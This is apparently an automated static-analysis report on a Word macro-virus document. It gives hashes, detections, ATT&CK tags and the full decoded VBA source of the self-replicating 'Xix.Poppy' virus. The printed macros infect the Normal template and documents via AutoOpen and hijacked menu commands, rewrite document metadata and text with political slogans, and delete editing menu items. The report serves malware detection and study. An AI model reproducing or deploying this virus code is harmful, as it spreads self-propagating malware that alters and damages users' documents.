Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a333d9d2bf8027c0…

MALICIOUS

Office (OLE)

33.0 KB Created: 2001-05-23 14:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1b6eab6624c508c79f10a9c46da748ce SHA-1: 26e35a84e669123268f1579421e9f758becf83e7 SHA-256: a333d9d2bf8027c00c2ea460ebdf690d64a265def57d3c7538d676a622439834
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and critical ClamAV detections, indicating malicious intent. The VBA macro 'xix' attempts to export a file to 'c:\xix.drv' and displays politically charged messages, likely as a distraction or to manipulate the user. The presence of AutoOpen and legacy macro virus markers strongly suggests this is a malicious document delivered as an attachment.

Heuristics 4

  • ClamAV: Doc.Trojan.VMPC1-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPC1-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3598 bytes
SHA-256: 8d1c3038805185067a3eee02bef09c2e49644bf0e1230e03f193b17e4bebb2ae
Detection
ClamAV: Doc.Trojan.Vmpc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xix"
    
Sub xix()
    
    'VMPCK 1.0d w/Random Path + Update
    '=================================
    'Code Written by VicodinES
    '=================================
    'Poppy ID : 5083-QyUo94005083.c
    '=================================
    'This Virus Is: Xix.Poppy
    
On Error Resume Next
Randomize
BzUz7979 = OnLnBvVq & GjCy17022 & JvCeAiQx & VxLk11768
KrNo8852 = ReRnBxQg & UvHm12817 & LsKgBxIj & TiFo12200
Options.ConfirmConversions = True
Options.VirusProtection = True
Options.SaveNormalPrompt = True
ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"
ActiveDocument.ReadOnlyRecommended = False
NsRt = Int(Rnd * 100)
    If NsRt = 99 Then MsgBox "Dia 8 de Novembro VOTA NГO а regionalizaзгo!", vbSystemModal
MgToTvGm = VwDx2292 & LlPg10701
If Day(Now()) = 8 Then Call UmCu9400BsTy
DgCx6829 = DrGhQhNe & ExCf6570 & Int(Rnd * 2675)
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "VOTA NГO А REGIONALIZAЗГO! SIM AO REFORЗO DO MUNICIPALISMO!"
    .Subject = "JOГO JARDIM x8?! PORRA! DIA 8 VOTA NГO!"
    .Comments = "A REGIONALIZAЗГO Й UM ERRO COLOSSAL!"
    .Execute
End With
If NormalTemplate.VBProject.VBComponents.Item("xix").Name <> "xix" Then MvBv508370643 = True
PlEqIfRo = QwLq7775 & OpHg16129
If ActiveDocument.VBProject.VBComponents.Item("xix").Name <> "xix" Then TxHi70648 = True
If MvBv508370643 = True And TxHi70648 = False Then Set JxPg706450836 = NormalTemplate.VBProject.VBComponents
If MvBv508370643 = False And TxHi70648 = True Then Set JxPg706450836 = ActiveDocument.VBProject.VBComponents
JxPg706450836.import "c:\xix.drv"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If TxHi70648 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
'VMPCK v1.0d [The Final Version?]
GoNqGpTs:
End Sub
Sub HelpAbout()
    On Error Resume Next
IqAj10564 = SgGwHmVe & KlLp7022 & PeVyEhIs & NkCo10807
    MsgBox "Joгo Jardim x8?! Porra! Dia 8 Vota NГO!", vbInformation
End Sub
Sub AutoOpen()
    On Error Resume Next
PuIq14134 = TkEmRxTv & FyIe14577 & Int(Rnd * 8391)
    Call xix
SxLn19336 = OyOrAfGz & QtGv12202 & Int(Rnd * 9871)
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call xix
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call xix
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call xix
ChNz19101 = EwCyLsKj & LuTw19501 & Int(Rnd * 9898)
NhAlIqVz = NhNm11382 & TqVm7492
End Sub
Sub UmCu9400BsTy()
    On Error Resume Next
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "sim"
            .Replacement.Text = "nгo а regionalizaзгo!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

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